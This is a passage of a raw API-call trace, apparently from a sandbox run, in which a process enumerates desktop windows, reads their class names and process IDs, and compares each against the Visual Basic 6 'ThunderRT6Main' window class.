lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0107.500] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0107.501] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0107.501] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0107.501] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.501] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.501] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.501] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 382664704 [0107.501] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0107.501] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0107.501] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0107.501] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.501] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.501] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.501] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0107.501] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0107.501] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0107.501] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0107.501] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.501] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.501] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.501] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0107.501] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0107.501] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0107.501] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0107.501] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.501] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.501] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.501] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0107.501] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0107.501] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0107.501] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0107.501] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.501] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.501] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.502] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0107.502] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0107.502] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0107.502] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0107.502] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0107.502] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0107.502] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0107.502] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0107.502] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.502] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0107.502] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0107.502] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0107.502] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0107.502] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.502] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784 [0107.502] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0107.502] IsWindowEnabled (hWnd=0x202b0) returned 1 [0107.502] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0107.502] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0107.502] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0107.502] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0107.502] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.502] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.502] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.502] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0107.502] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0107.502] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.502] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.502] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0107.502] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0107.503] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0107.503] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.503] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0107.503] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0107.503] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0107.503] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0107.503] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0107.503] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.503] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0107.503] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0107.503] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0107.503] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0107.503] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.503] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.503] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0107.503] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0107.503] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0107.503] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0107.503] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.503] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.503] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0107.503] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0107.503] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0107.503] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0107.503] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.503] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.503] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0107.503] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0107.503] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0107.503] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0107.503] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.503] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.503] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.504] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0107.504] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0107.504] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0107.504] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0107.504] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.504] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.504] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0107.504] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0107.504] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0107.504] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0107.504] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0107.504] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0107.504] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0107.504] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0107.504] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.504] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0107.504] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0107.504] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0107.504] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0107.504] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0107.504] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0107.504] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0107.504] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0107.504] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0107.504] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0107.504] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0107.504] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.504] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0107.504] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0107.504] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0107.505] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0107.505] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.505] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.505] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0107.505] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0107.505] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.505] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.505] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0107.505] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0107.505] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0107.505] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0107.505] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0107.505] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0107.505] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0107.505] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0107.505] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0107.505] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0107.505] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0107.505] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0107.505] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Household") returned 9 [0107.505] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0107.505] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0107.505] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.505] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0107.506] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0107.506] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0107.506] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0107.506] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0107.506] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0107.506] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0107.506] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0107.506] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0107.506] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0107.506] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0107.506] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0107.506] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0107.506] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0107.506] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0107.506] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0107.506] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0107.506] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0107.506] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0107.506] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0107.506] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.506] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0107.507] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0107.507] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0107.507] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0107.507] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0107.507] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0107.507] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0107.507] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0107.507] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0107.507] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0107.507] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0107.507] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0107.507] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0107.507] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0107.507] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0107.507] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0107.507] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0107.507] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0107.507] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0107.507] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0107.507] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.507] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0107.508] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0107.508] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0107.508] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0107.508] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0107.508] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0107.508] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0107.508] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0107.508] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0107.508] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0107.508] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0107.508] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0107.508] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0107.508] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0107.508] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0107.508] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0107.508] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0107.508] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0107.508] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0107.508] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0107.508] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0107.508] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0107.508] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0107.509] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0107.509] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0107.509] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.509] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a 